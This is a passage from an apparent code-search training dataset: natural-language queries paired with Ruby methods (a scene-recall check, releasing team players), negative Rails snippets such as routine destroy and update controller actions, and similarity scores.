|format|\n format.json { head :no_content }\n end\n end", "def destroy\n @client = Client.find(params[:id])\n @client.destroy\n @uuid = params[:uuid]\n respond_to do |format|\n format.html { redirect_to :controller => 'ads', :action => 'admin_dash', :id => 1, :uuid => @uuid }\n format.json { head :no_content }\n end\n end", "def destroy\n @gig_request.destroy\n respond_to do |format|\n format.html { redirect_to gig_requests_url, notice: 'Gig request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @genere.destroy\n respond_to do |format|\n format.html { redirect_to generes_url, notice: 'Genere was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @deco1.destroy\n respond_to do |format|\n format.html { redirect_to deco1s_url, notice: 'Deco1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n Accessor.find(params[:id]).destroy\n respond_to do |format|\n format.html { redirect_to accessors_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ministerios = Ministerios.find(params[:id])\n @ministerios.destroy\n\n respond_to do |format|\n format.html { redirect_to(ministerios_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @descriptor_generico = DescriptorGenerico.find(params[:id])\n @descriptor_generico.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_descriptor_genericos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @relatorios = Relatorio.find(params[:id])\n @relatorios.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @urlshortner.destroy\n respond_to do |format|\n format.html { redirect_to urlshortners_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sa_request.destroy\n respond_to do |format|\n format.html { redirect_to sa_requests_url, notice: 'Sa request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.7413984", "0.7197602", "0.7197602", "0.7176681", "0.7007245", "0.6760218", "0.67331195", "0.6680643", "0.66520363", "0.6522609", "0.6521887", "0.6520884", "0.6376413", "0.63665414", "0.6344744", "0.63343006", "0.6313048", "0.630916", "0.630233", "0.62833387", "0.6255577", "0.6228927", "0.6218784", "0.6218", "0.6206137", "0.6205444", "0.6202417", "0.6191676", "0.61901337", "0.6189456", "0.6179975", "0.61667097", "0.6165241", "0.6148051", "0.61470693", "0.61465305", "0.61446434", "0.6139917", "0.6137846", "0.61357605", "0.61349326", "0.61236596", "0.6120159", "0.6120159", "0.6120159", "0.6120159", "0.61105615", "0.610869", "0.6107435", "0.6103755", "0.6081047", "0.6074827", "0.6070533", "0.6068521", "0.6068521", "0.60667765", "0.6066405", "0.60645014", "0.60632384", "0.6062228", "0.60614115", "0.6060933", "0.60597897", "0.6058796", "0.60533637", "0.60480165", "0.6046734", "0.604324", "0.6041545", "0.6040184", "0.6039473", "0.6038377", "0.60375106", "0.60360205", "0.60322714", "0.6031471", "0.6029487", "0.6028093", "0.60279477", "0.6026252", "0.60243636", "0.6024351", "0.6023922", "0.6023922", "0.6023922", "0.6023922", "0.6023922", "0.6023922", "0.6023922", "0.60221255", "0.6020865", "0.6017855", "0.6015271", "0.6013348", "0.60113513", "0.6007121", "0.59986115", "0.59979594", "0.59966654", "0.59963405" ]
0.7860438
0
returns true iff the audience recalls the scenes happening in the given order.
def recall? *scenes unmatched = scenes.dup @@memories.each do |memory| unmatched.shift if unmatched[0] == memory end unmatched.empty? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def has_been_recorded?(order)\n unless Validation.validate(order.to_s) && Order.is_a_valid_item_code?(order.to_s)\n return false\n end\n @customer_order.push order.to_s\n return true\n end", "def probe?\n self.order == -1\n end", "def is_order_next?(order)\n @queue.peek == order\n end", "def multiple_verses?\n ending_bibleverse.verse > starting_bibleverse.verse\n end", "def betting_order?(screen_name_first, screen_name_second)\n if button?(screen_name_first)\n false\n elsif button?(screen_name_second)\n true\n else\n position(screen_name_first) < position(screen_name_second)\n end\n end", "def is_ordered?\n # TODO Stubbed - Requires definition and implementation\n end", "def inPartyAnimation?\r\n return @animations.length>0\r\n end", "def order?\n !order.nil?\n end", "def replay?\n BatchRegistries.exists?(replay_name: @current_package.title)\n end", "def first?\n event.user.chapters.ascending.first == self\n end", "def repealed?\n !!repealed_on\n end", "def ocare_rel_previously_collected?(question)\n answer_for(question, valid_response_exists?(\"PARTICIPANT_VERIF.OCARE_REL\"))\n end", "def ordered?\n @ordered ||= !!options[:ordered]\n end", "def is_ordered?\n # TODO Stubbed to always return false until ordered lists are implemented\n return false\n end", "def ran?\n @ran\n end", "def ran?\n @ran\n end", "def is_replaying?\n decision_context.workflow_clock.replaying\n end", "def is_replaying?\n decision_context.workflow_clock.replaying\n end", "def validate_order!\n _validate_order!\n rescue AASM::InvalidTransition => e\n false\n end", "def is_scene_changing?\n SceneManager.scene != self\n end", "def modified?\n ((self.created_at != self.updated_at) ||\n (segments.collect { |e| e.audio_asset.authored? && e.audio_asset.delivered? }.include?(true))) \n end", "def first_order?\n orders_count <= 1\n end", "def calling_scene?\r\n $game_temp.battle_calling || $game_temp.shop_calling ||\r\n $game_temp.name_calling || $game_temp.menu_calling ||\r\n $game_temp.save_calling || $game_temp.gameover\r\n end", "def repeats?\n true \n end", "def repeats?\n false\n end", "def event_running?\n get_scene.event_running?\n end", "def autograded?\n if @assessment&.autograded\n true\n elsif @assessment && @assessment.autograded == false\n false\n else\n params[:assessment] && params[:assessment][:autograded]\n end\n end", "def reciprocated?(from_id, to_id, scope = Amico.default_scope_key)\n following?(from_id, to_id, scope) && following?(to_id, from_id, scope)\n end", "def repeated?\n mode == \"REPEATED\"\n end", "def in_order? (array)\n\tif array[i] < array[i+1] \n\t\trun = 0\n\t\trun += 1\n\t\tn +=1\n\tend\nend", "def play_again?\nend", "def game_ended?\n @player.reveal? || @player.cards.size == 3 || @dealer.cards.size == 3\n end", "def one_verse?\n same_chapter? && same_verse?\n end", "def has_audios?\n audios[I18n.locale.to_sym].length + attached_audios[I18n.locale.to_sym].length > 0\n end", "def in_order?(array)\nend", "def performed?(event)\n @triggered.include?(event)\n end", "def performed?(event)\n @triggered.include?(event)\n end", "def control_runs_first?\n return @control_runs_first if defined? @control_runs_first\n @control_runs_first = rand(2) == 0\n end", "def array_test\n @words.each_with_index do |word, i|\n # binding.pry\n seq = \"#{word} #{@words[i+1]} #{@words[i+2]}\"\n if @three_word_sequences.include? seq\n return true\n end\n end\n return false\n end", "def first_order?\n self.order_num === 1\n end", "def sequential\n return true if hand_to_val.last - hand_to_val.first == 4\n return false \n end", "def prior_recommendations_completed?\n last_advice = self.activities.last\n last_survey = self.submissions.last\n recommendations_in_range = recommendation_events.where(created_at: last_survey.created_at..last_advice.created_at)\n prior_matching_recommendations = recommendations_in_range.where(subject: last_advice.subject)\n prior_matching_recommendations.count == 1\n end", "def destroy_preorders?\n get_deleted_preorders.each { |id|\n @preorder = @menu.preorders.find_by_id(id)\n render body: nil, status: :not_found and return false if @preorder.nil?\n\n if @preorder.has_started?\n render json: { error: \"You cannot delete a preorder that has started!\" }, status: :unprocessable_entity\n return false\n end\n\n @preorder.destroy\n }\n return true\n end", "def multi_arged?\n false\n end", "def over?\n for i in 1..4\n if @figures[0].position == @figures[i].position\n log \"**GAME OVER:** Mr. X was caught - The agents win.\"\n @logger.save\n puts \"Game Over: The agents win\"\n return true\n end\n end\n if @turns > 19\n log \"**GAME OVER:** 20 turns have passed - Mr. X wins.\"\n @logger.save\n puts \"Game Over: Mr. X wins\"\n return true\n end\n return false\n end", "def in_play?\n started? || in_progress?\n end", "def successful?\n a = any_args? ? [:any] : @args\n begin\n @recorder.event_raised?(@event_name, @mode, *a)\n rescue ArgumentError\n false\n end\n end", "def finished?\n sorted_frames = frames.sort {|a,b| a.number <=> b.number}\n finished = true\n if sorted_frames.length == 10\n sorted_frames.zip(1..10).each do |frame_index_pair|\n if frame_index_pair[0].number != frame_index_pair[1]\n finished = false\n end\n end\n else\n finished = false\n end\n return finished\n end", "def plays_in_concert?(concert)\n concert.lineups.each do |lineup|\n return true if self.lineups.include? (lineup)\n end\n false\n end", "def last?\n event.user.chapters.ascending.last == self\n end", "def available_for_order?(_order)\n true\n end", "def needs_explicit_winner?\n needs_playing? && children.count {|child| child.explicit_or_implicit_winner.present?} == 2\n end", "def open_scene?\n id = $game_temp.open_scene_event_id\n if id != nil\n interpreter = Game_Interpreter.new\n $game_temp.open_scene_event_id = nil\n event = $game_map.events[id]\n interpreter.setup(event.list, event.id)\n while interpreter.running?\n interpreter.update\n update_basic\n wait_for_message\n @message_window.update\n end\n end\n end", "def following? subject\n has_event? 'follow', subject\n end", "def sequence?\n kmer_length = @parent_graph.hash_length\n if kmer_length -1 > @ends_of_kmers_of_node.length\n return false\n else\n return true\n end\n end", "def auditor_verified?\n AUDITOR_COMPLETE_RESULTS.include?(self.auditor_result)\n end", "def won_match?\n @sets_won == 3\n end", "def participates?(user)\n author == user || receiver == user\n end", "def onload_function?\n !@sounds.empty?\n end", "def followed_by?(id)\n self.update_cache_when_expired()\n return @idArray.include?(id)\n end", "def switched_to_main_rmxp_scene\n if $game_temp.gameover\n $scene = Scene_Gameover.new\n return true\n elsif $game_temp.to_title\n $scene = Scene_Title.new\n return true\n elsif $game_temp.transition_processing\n $game_temp.transition_processing = false\n if $game_temp.transition_name.empty?\n Graphics.transition(20)\n else\n Graphics.transition(60, RPG::Cache.transition($game_temp.transition_name))\n end\n end\n return false\n end", "def unappliable_order?\n order.bought? == false\n end", "def previously_ran?\n File.exist?(previous_runs_filename)\n end", "def ensure_not_referenced_by_any_ordered_item\n if ordered_items.empty?\n return true\n else\n errors.add(:base, \"Ordered items present.\")\n return false\n end\n end", "def is_sequence_created_in_timeframe?(subscriber, timeframe)\n !subscriber.subscriber_sequences.empty? && subscriber.subscriber_sequences.last.created_at >= timeframe.hours.ago\n end", "def followed_redirects?\n current_url != @url\n end", "def include_eager_order?(options)\n order = options[:order]\n return false unless order\n order.scan(/([\\.\\w]+)\\.[\\[\"]?\\w+[\\]\"]?/).flatten.any? do |order_table_name|\n order_table_name != table_name\n end\n end", "def amended?\n @doc.at_xpath('/a:akomaNtoso/a:act', a: NS)['contains'] != 'originalVersion'\n end", "def past_step_2?\n !spectator? && status_is_active?(\"events\")\n end", "def updated_values?(order)\n super or submitted_assets_have_changed?(order)\n end", "def played?\n\t\treturn @played\n\tend", "def additional?(cleaved_amino_acids)\n cleaved_amino_acids.window_search(1) do |aa|\n if basic_count(aa) == 1\n return true\n elsif acidic_count(aa) == 1\n return false\n end\n end\n return nil\n end", "def has_been_acquired_by_user?(user)\n current_user_profile = Profile.find_by(user_id: user.id)\n addition = Addition.find_by(profile_id: current_user_profile, story_id: self.id)\n addition != nil\n end", "def playing?\n self.in_progress? or self.caught_up?\n end", "def recurring?\n event_type.to_sym == :recurring\n end", "def update_preorders?\n get_edited_preorders.each { |unpermitted_params|\n permitted_params = permitted_update_preorder_params(unpermitted_params)\n @preorder = @menu.preorders.find_by_id(permitted_params[:id])\n render body: nil, status: :not_found and return false if @preorder.nil?\n\n if @preorder.has_started?\n render json: { error: \"You cannot update a preorder that has started!\" }, status: :unprocessable_entity\n return false\n end\n\n if @preorder.update(permitted_params)\n # If successful, no need to give response\n else\n # Status code: 422\n render json: { errors: @preorder.errors }, status: :unprocessable_entity\n return false\n end\n }\n\n return true\n end", "def camera_reposition_case?\n $imported[:TSBS_Camera] && @animation.position != 3\n end", "def camera_reposition_case?\n $imported[:TSBS_Camera] && @animation.position != 3\n end", "def end_game?\n @game = Game.find(game_id)\n count = game.player_ids.count > 3 ? 3 : 1\n @game.winners && @game.winners.count == count ? true : false\n end", "def no_repeats?(song_name, songs)\n songs.each_with_index do |ele, idx| \n if ele == song_name\n return false if ele == songs[idx + 1]\n end\n end\n true\nend", "def recurrent?\n # if there is no cookies access it is the user first time here\n return false if get_accesses_cookie.empty?\n\n # The user accessed some URL, but not this one\n return false if @access_data.nil?\n\n # If there is no access expression on the cookie\n get_accesses_cookie[access_expression].nil? ? false : true\n end", "def has_ordered?(item_to_check)\n if item_to_check.class == Item\n @order.any? {|item| item.name == item_to_check.name}\n else \n false\n end \nend", "def remake_ready?(remake_id)\n\tremake = settings.db_client[\"Remakes\"].find({_id:remake_id}).each.next\n\n\tlogger.info \"Checking if remake \" + remake_id.to_s + \" is ready for render\"\n\tif remake[\"status\"] == RemakeStatus::PendingScenes then\n\t\tlogger.info \"Remake \" + remake_id.to_s + \" is in status PendignScenes, now checking if all scenes are processed\"\n\n\t\tscenes_number = remake[\"footages\"].count\n\t\tscenes_ready = 0\n\t\tfor footage in remake[\"footages\"] do\n\t\t\tif footage[\"status\"] == FootageStatus::Ready then\n\t\t\t\tscenes_ready += 1\n\t\t\tend\n\t\tend\n\n\t\tif scenes_ready == scenes_number then\n\t\t\tlogger.info \"Remake \" + remake_id.to_s + \" is ready for render\"\n\t\t\treturn true\t\n\t\telse\n\t\t\tlogger.info \"Remake \" + remake_id.to_s + \" has only \" + scenes_ready.to_s + \" out of \" + scenes_number.to_s + \" processed, hence is not ready\"\n\t\t\treturn false\n\t\tend \n\n\telse\n\t\tlogger.info \"Remake \" + remake_id.to_s + \" is not in status PendingScenes, hence is not ready\"\n\t\treturn false\n\tend\nend", "def start_of_tie?\n true\n end", "def add_reversed?\n @add_reversed\n end", "def finished?\n @game.finished || @pass_order.size == @game.players.size\n end", "def has_media?\n !@front.media.empty? or !back.media.empty?\n end", "def refresh_question?\n question_responses >= refresh_question_after\n end", "def orderable?\n return false unless active?\n return false if has_variants?\n true\n end", "def unappliable?\n !order_item.order.user || !referrer\n end", "def got_three?(array)\n\tarray.each_with_index do |item, i|\n\t\tnext_item = array[i+1]\n\t\tnext_next_item = array[i+2]\n\t\treturn true if item == next_item && item == next_next_item\n\tend\n\tfalse\nend", "def following?(other)\n following.include?(other)\n end", "def should_reverse?\n stops_remaining_in_direction?\n end", "def following?(other)\n following.include?(other)\n end", "def followed_by?(user)\n $redis.sismember(self.redis_key(:followers), user.id)\n end", "def followed_by?(user)\n $redis.sismember(self.redis_key(:followers), user.id)\n end", "def ready_for_new_rolls?\n return false if finished?\n\n game.frames\n .where('number < ?', number)\n .to_a\n .all?(&:finished?)\n end", "def sequence?()\n return false unless @component_nodes.length == 2\n return false unless (@component_nodes[0].type == type() or @component_nodes[1].type == type())\n return false if (@component_nodes[0].type == type() and @component_nodes[1].type == type())\n return true\n end", "def sequence?()\n return false unless @component_nodes.length == 2\n return false unless (@component_nodes[0].type == type() or @component_nodes[1].type == type())\n return false if (@component_nodes[0].type == type() and @component_nodes[1].type == type())\n return true\n end", "def in_order?(arr)\n arr == arr.sort\n # your code goes here\nend" ]
[ "0.5849542", "0.5725551", "0.55982906", "0.54192567", "0.5344008", "0.53244233", "0.5223742", "0.52198446", "0.51924807", "0.5176462", "0.51671374", "0.51642245", "0.5154686", "0.51529115", "0.5137023", "0.5137023", "0.5108884", "0.5108884", "0.5085219", "0.50763226", "0.5063552", "0.50618124", "0.50545293", "0.5052183", "0.5024446", "0.5011441", "0.50093263", "0.50058377", "0.5004408", "0.49985874", "0.49966577", "0.49916163", "0.49886167", "0.49770606", "0.49715504", "0.49681264", "0.49681264", "0.4965317", "0.49579036", "0.4953666", "0.49533486", "0.4939405", "0.4927724", "0.4925045", "0.4915957", "0.48922342", "0.48882347", "0.4886661", "0.48765615", "0.48542544", "0.48500258", "0.48497385", "0.48367286", "0.48215193", "0.48163965", "0.48157156", "0.4805804", "0.47870886", "0.47858718", "0.47845954", "0.4784502", "0.47752765", "0.47668597", "0.47644508", "0.47633457", "0.47555384", "0.47543064", "0.47483444", "0.474676", "0.47429824", "0.47391784", "0.47362104", "0.4729649", "0.4728225", "0.47214818", "0.4721358", "0.47178513", "0.47178513", "0.4707191", "0.47048098", "0.46990758", "0.46983853", "0.46960518", "0.4696033", "0.46900004", "0.46886793", "0.46880513", "0.46879005", "0.46850282", "0.46813658", "0.46784842", "0.4678002", "0.46757993", "0.46712923", "0.46693662", "0.46691287", "0.46688762", "0.46678996", "0.46678996", "0.46656507" ]
0.5998559
0
releases all players from a team back into the field
def release_players Player.where(team_id: id).update_all(team_id: nil, active: false) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def reordenate_team\n position = 1\n self.players.each do |player|\n player.update_attribute(:position, position)\n position += 1\n end\n end", "def set_player_team!\n player.update!(team_name: team_name) if player.team_name != team_name\n piece.update!(team_name: team_name) if piece.team_name != team_name\n end", "def unassignTeam _args\n \"unassignTeam _args;\" \n end", "def recover_jersey_from_player\n @team.unassign_jersey(@player)\n\n redirect_to team_path(@team)\n end", "def remove_from_all_tables\n\t\t\t\treturn if !@players || @players.empty?\n\t\t\t\t@players.values.each do |p|\n\t\t\t\t\tp.quit\n\t\t\t\tend\n\t\t\tend", "def sell(player)\n unless player.nil?\n player.free\n reordenate_team\n end\n end", "def swap_players\n\t @cur_player = @players.find { |player| player != @cur_player }\n\tend", "def update_team\n \n end", "def remove_player(team, player)\n # Remove from all future events\n team.future_events.each do |e|\n EventInvitesService.remove_player(e, player)\n end\n end", "def swap_players\n @cur_player = @players.find { |player| player != @cur_player }\n end", "def player_call(i)\n\t\t@players.at(i).removemoney(@bet)\n\t\t@pot = @pot + @bet\n\tend", "def poolplay_team_objects\n self.teams.select { |team| !team.playoffs }\n end", "def remove_player\n @team.remove_player(@player)\n\n redirect_to team_path(@team)\n end", "def update_available_players\r\n create_new_players\r\n available_players = Player.where(available: true)\r\n available_players.each do |tlfl_player|\r\n if !@active_players.find {|fd_player| fd_player[\"PlayerID\"] == tlfl_player.fd_id} \r\n tlfl_player.destroy\r\n end\r\n end\r\n end", "def bookkeeping_before_betting()\n @dealer.reset() ## very important to reset dealer\n @players.delete_if{|player| player.amount <= 0} ## remove broke players\n if @players.size == 0\n puts \"**********WE NEED MORE PLAYERS**************\"\n exit() # exit if no more players left\n end\n @players.each do | player|\n player.reset() ## reset remaining players\n end # end reset\n end", "def team_rsvps\n team_players.map do |player|\n Rsvp.new(game: self, player: player)\n end\n end", "def normalize_games\n @match.games.each do |game|\n if !game.player1_score.present? && !game.player2_score.present?\n @match.games.delete(game)\n next\n end\n game.player1_id = @match.player1_id\n game.player2_id = @match.player2_id\n end\n end", "def update_player_nfl_data\r\n # get_player_data\r\n free_agents = Player.where(tlfl_team_id: nil)\r\n players_on_team = Player.where.not(tlfl_team_id: nil)\r\n players_on_team.each do |tlfl_player|\r\n # Doesn't change a current TLFL player's team if he isn't on an NFL team anymore\r\n if fd_player = @players_json.find {|fd_player| fd_player[\"PlayerID\"] == tlfl_player.fd_id && fd_player[\"Team\"] != tlfl_player.nfl_abbrev && fd_player[\"Team\"]} \r\n tlfl_player.update(nfl_abbrev: fd_player[\"Team\"], bye_week: fd_player[\"ByeWeek\"], jersey: fd_player[\"Number\"])\r\n end\r\n end\r\n free_agents.each do |tlfl_player|\r\n if fd_player = @players_json.find {|fd_player| fd_player[\"PlayerID\"] == tlfl_player.fd_id && fd_player[\"Team\"] != tlfl_player.nfl_abbrev} \r\n tlfl_player.update(nfl_abbrev: fd_player[\"Team\"], bye_week: fd_player[\"ByeWeek\"], jersey: fd_player[\"Number\"])\r\n end\r\n end\r\n end", "def buy(player)\n unless player.nil?\n player.update_attribute(:position, self.last_position)\n player.update_attribute(:club, self)\n end\n end", "def reassign_team_sets\n @delta[:teams].each do |tobj|\n team_set = get_team_set_by_team_id(tobj[:id])\n next if team_set.blank?\n if tobj[:deleted]\n @team_sets_by_team_id.delete(tobj[:id])\n team_set.destroy\n elsif tobj[:new]\n set_team_set_by_team_id(tobj[:new_id], team_set_class.create(assessment_id: @assessment.id, team_id: tobj[:new_id]))\n else \n team_set.team_id = tobj[:new_id]\n team_set.save\n set_team_set_by_team_id(tobj[:new_id], team_set)\n end\n end\n end", "def prepare_for_new_round\n @teams.each(&:prepare_for_new_round)\n end", "def prepare_for_new_round\n @teams.each(&:prepare_for_new_round)\n end", "def restructure_team_data!\n if !site.data['team'].nil? && site.data['team'].respond_to?(:keys)\n site.data['team'].keys.each do |key|\n site.data['team'][site.data['team'][key]['name']] = site.data['team'].delete(key)\n end\n end\n end", "def ante_up!\n @players_in_round.each { |player| place_bet(player, @ante) }\n end", "def leave_team_before_delete\n team&.users&.delete(self)\n team&.cleanup\n end", "def settle(team)\n self.team = team\n \n if self.is_home_team?\n self.match.home_team = team\n else\n self.match.away_team = team\n end\n self.match.save!\n self.save!\n end", "def release_pieces\n @game_world.release_active\n end", "def replace(player1, player2)\n p1 = self.players.find(player1)\n p2 = self.players.find(player2)\n p1.position, p2.position = p2.position, p1.position\n p1.save!\n p2.save!\n end", "def take_bets\n @players.each do |p|\n @events.handle(:pre_player_bet, p)\n\n p.hand.bet = p.place_bet\n\n @events.handle(:post_player_bet, p, p.hand.bet)\n end\n end", "def deal_cash\n self.game_players.each do |player|\n player.cash = 6000\n player.save\n end\n end", "def players\n # Build two arrays of players\n cur_players = teams.map do |team|\n team.wattball_players\n end\n\n # Combine the arrays\n cur_players.flatten! \n end", "def remove_player p\n (@players ||= []).delete p.sym\n end", "def reset_player_weapons()\n set_weapon()\n set_other_weapon()\n end", "def switch_players\n temp = @current_player\n @current_player = @opposing_player\n @opposing_player = temp\n end", "def reset_standings\n\t\t@teams.clear\n\t\t@matches.each { |match| update_standings(match) }\n\tend", "def team_players\n Player.all\n end", "def set_team\n @team = current_team\n end", "def remove_player\n add_remove_player :remove\n end", "def create_teams_from_teams_playoffs()\n end", "def set_players\n @players = Player.where(account_id: params[:id]).order_by(match_id: :desc).page(params[:page]).per(20)\n end", "def reset_values\n @pot_size = 0\n @committed = 0\n @table_current_bet = 0\n @stage_of_play = 0\n @active_players = @player_positions.clone\n @active_players.each do |player|\n player.hole_cards = []\n player.folded = false\n player.current_bet = 0\n player.max_winnings = 0\n player.max_pot = 0\n player.acted = false\n player.strongest_hand = []\n end\nend", "def release_ball\n @frozen_to.release_ball(self) unless @frozen_to.nil?\n @frozen_to = nil\n end", "def sortPlayers\r\n\t@table.current_players = @table.sort\r\n\t@table.players = @table.current_players.dup\r\nend", "def refresh_team_info(*)\n reload # SQL caching causing users to be empty when creating team making all teams ineligible\n set_team_captain\n set_slots_available\n set_eligibility\n cleanup\n end", "def setup_player\n self.points = 0\n Match.all.each do |m|\n self.bets.build(match: m, result: Match::TIE)\n end\n end", "def remove_players\n @players, broke_players = @players.partition{ |p| p.wallet >= @table_minimum }\n broke_players.each{ |p|\n puts \"#{p.name}, you no longer have enough money to meet the table minimum. Better luck next time.\"\n linebreak\n }\n end", "def players(team)\n\t\t# select all the games including that team, and then get that teams roster from each game, flatten, and remove dups.\n\t\t@rounds.select{|g| g.teams.include?(team)}.map {|g| g.players[g.teams.index(team)]}.flatten.uniq\n\tend", "def test_add_player_to_players()\n team = SportsTeam.new(\"Belgium\", [\"Player 1\", \"Player 2\", \"Player 3\"], \"Mr Belgium\")\n team.add_player_to_players(\"Player 4\")\n assert_equal([\"Player 1\", \"Player 2\", \"Player 3\", \"Player 4\"], team.players())\n end", "def switch_players\n @current_player_index += 1\n @current_player_index = 0 if @current_player_index >= @num_players\n @players[@current_player_index]\n end", "def destroy\n @player.destroy\n @teams = @player.teams\n if @teams.exists?\n @teams.each do |t|\n t.destroy\n end\n end\n respond_to do |format|\n format.html { redirect_to players_url, notice: 'Player was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def move_to year\n\n old_phase = self.draft_project_phase \n old_project = self.draft_project\n\n #########################################\n if transit_asset.very_specific.fuel_type_id.present?\n phase = scenario.draft_project_phases.where(team_ali_code: draft_project_phase.team_ali_code, fy_year: year, fuel_type: transit_asset.very_specific.fuel_type).first\n else\n phase = scenario.draft_project_phases.where(team_ali_code: draft_project_phase.team_ali_code, fy_year: year).first\n end\n\n if phase.nil?\n #We don't have a phase. let's create a new project and a new phase for this asset\n new_project = old_project.copy_from_attributes \n phase = DraftProjectPhase.new \n phase.team_ali_code = old_phase.team_ali_code\n phase.fy_year = year\n phase.fuel_type = (transit_asset.very_specific.fuel_type_id.present? ? transit_asset.very_specific.fuel_type : nil)\n phase.cost = -1 \n phase.name = new_project.title \n phase.draft_project = new_project\n phase.save!\n new_project.set_project_number\n end\n\n self.draft_project_phase = phase \n self.save \n self.draft_project_phase.set_estimated_cost\n old_phase.set_estimated_cost\n\n\n end", "def players\n # byebug\n self.object.drafts.map do |draft|\n new_player = draft.player.attributes\n new_player[:extra_player] = draft.extra_player\n new_player\n end\n end", "def fill_team_with_players (team, player, shirt_number)\n\t@db.execute(\"INSERT INTO #{team} (player_name, player_number) VALUES (?,?)\",[player, shirt_number])\nend", "def want_to_leave!(team)\n self.teams.delete(team) if is_member_of?(team)\n end", "def advance_contestants()\n #logger.debug \"Prior(s): #{all_priors.collect{|bc| bc.contestantcode}.inspect()}\"\n winning_team = self.homecontestant.win ? self.homecontestant.team : self.awaycontestant.team\n losing_team = self.homecontestant.loss ? self.homecontestant.team : self.awaycontestant.team\n self.all_priors().each{|bc| bc.team = bc.contestanttype==\"W\" ? winning_team : losing_team; bc.save! }\n end", "def get_players\n Team.all.each do |team|\n loc = team.home_url.index('/_/')\n url = team.home_url.insert(loc, '/roster')\n doc = Nokogiri::HTML(open(url))\n players = doc.css('div.mod-content tr.oddrow, div.mod-content tr.evenrow')\n players.each do |player|\n player_url = player.css('td a').attr('href').to_s\n espn_id = player_url[player_url.index('/_/id/') + 6, 7]\n name = player.css('td')[1].text\n height = player.css('td')[3].text\n height_array = height.split('-')\n height = (height_array.first.to_i * 12 ) + height_array.last.to_i\n new_player = Player.find_or_initialize_by(espn_id: espn_id)\n new_player.team = team\n new_player.number = player.css('td')[0].text\n new_player.first_name = name.rpartition(' ').first\n new_player.last_name = name.rpartition(' ').last\n new_player.position = player.css('td')[2].text\n new_player.height = height\n new_player.weight = player.css('td')[4].text\n new_player.year = player.css('td')[5].text\n new_player.hometown = player.css('td')[6].text\n new_player.save\n end\n end\n redirect_to teams_path \n end", "def end_battle_return_party\n $game_party.actors.clear\n $game_party.summoned.clear\n for actor in @old_party\n $game_party.add_actor(actor.id)\n end\n for actor in $game_party.actors\n actor.invisible = false\n end\n end", "def destroy\n # In order to guard Player dependency on Equipo and avoid the system to crash\n # Execute player.seguro for all players associated to this team first\n #\n safeTeam = Equipo.find_by(name: \"99 - NO DETERMINADO\")\n @equipo.players.each do |plyr|\n plyr.seguro safeTeam.id\n end\n\n @equipo.destroy\n flash[:success] = 'Se eliminó correctamente el equipo.'\n redirect_to equipos_url\n end", "def debit_player(p)\n p.money -= p.bet\n end", "def get_players\n all_players = consume_player_data\n delete_id_column(all_players)\n end", "def team=(value)\n @team = value\n end", "def leave_game(player)\n self.players.find(player.to_i).destroy\n self.save\n end", "def build_for_doubles\n teams.build(:goals => 10 )\n teams.build(:goals => 0)\n teams.each do |s|\n s.players.build({:position => 'Offense', :user => User.first})\n s.players.build({:position => 'Defense', :user => User.first})\n end\n end", "def switch_players \n @active_player, @inactive_player = @inactive_player, @active_player\n end", "def setup\n @all_players.each do |player|\n deal(player, 2)\n end\n end", "def finish\n transaction do\n winner = self.teams.where('score >= ?',5).first\n loser = self.teams.where('score < ?',5).first\n if winner and loser\n winner.win\n loser.lose\n self.status = 'finished'\n self.save\n end\n end\n end", "def change_team\n @changeTeamUser = User.find(params[:id])\n oldTeam = Team.find(@changeTeamUser.team_id)\n usersOnOldTeam = User.where(team_id: oldTeam.id)\n usersOnOldTeam.each do |u|\n Bulletin.destroy_all(user_id: u.id, approval_pending: true)\n Approval.destroy_all(user_id: u.id)\n end\n\n if @changeTeamUser.update_attributes(:team_id => nil)\n if User.find_by(team_id: oldTeam.id) == nil\n Team.destroy(oldTeam.id)\n end\n redirect_to(\"/users/#{current_user.id}\")\n else\n redirect_to \"/404/\"\n end\n\n end", "def switch_players\n @current_player, @other_player = @other_player, @current_player\n end", "def switch_players\n @current_player, @other_player = @other_player, @current_player\n end", "def team; end", "def team; end", "def team; end", "def team; end", "def team; end", "def team; end", "def team_params\n params.require(:team).permit(:name, :player1, :player2, :player3, :player4, :player5, :user)\n end", "def new_game_for players\r\n players.each do |player|\r\n player[:state] = 'normal'\r\n\tplayer[:cards] = []\r\n\tplayer[:points] = 0\r\n\tplayer[:bet] = 0\r\n end\r\nend", "def perform()\n players = Player.all\n\n players.each do |player|\n player.money = player.money + 10000\n player.save\n end\n end", "def add_jersey_to_player\n @team.assign_jersey(@player, @jersey)\n\n redirect_to team_path(@team)\n end", "def update\n\n # Vérifie si il y a les points des matches dans les params\n if (params[:points_manche])\n\n # Additionne tous les points des annonces\n team1_total_point_announce = params[:team1_num0_announce].to_i + params[:team1_num01_announce].to_i + params[:team1_num2_announce].to_i + params[:team1_num3_announce].to_i + params[:team1_num4_announce].to_i\n team2_total_point_announce = params[:team2_num0_announce].to_i + params[:team2_num01_announce].to_i + params[:team2_num2_announce].to_i + params[:team2_num3_announce].to_i + params[:team2_num4_announce].to_i\n\n # Met a jour la manche de la partie\n @game.update(rounds: @game.rounds + 1)\n\n # Permet de définir le nouveau distributeur\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.distributor)\n @distributor_position = player.position\n player.update(distributor: false)\n end\n end\n end\n @new_distributor_position = @distributor_position + 1\n if (@new_distributor_position == 5)\n @new_distributor_position = 1\n end\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.position == @new_distributor_position)\n player.update(distributor: true)\n end\n end\n end\n\n # Permet de définir le joueur qui devra chosir l'atout\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.first_to_play)\n @first_to_play_position = player.position\n player.update(first_to_play: false)\n end\n end\n end\n @new_first_to_play_position = @first_to_play_position + 1\n if (@new_first_to_play_position == 5)\n 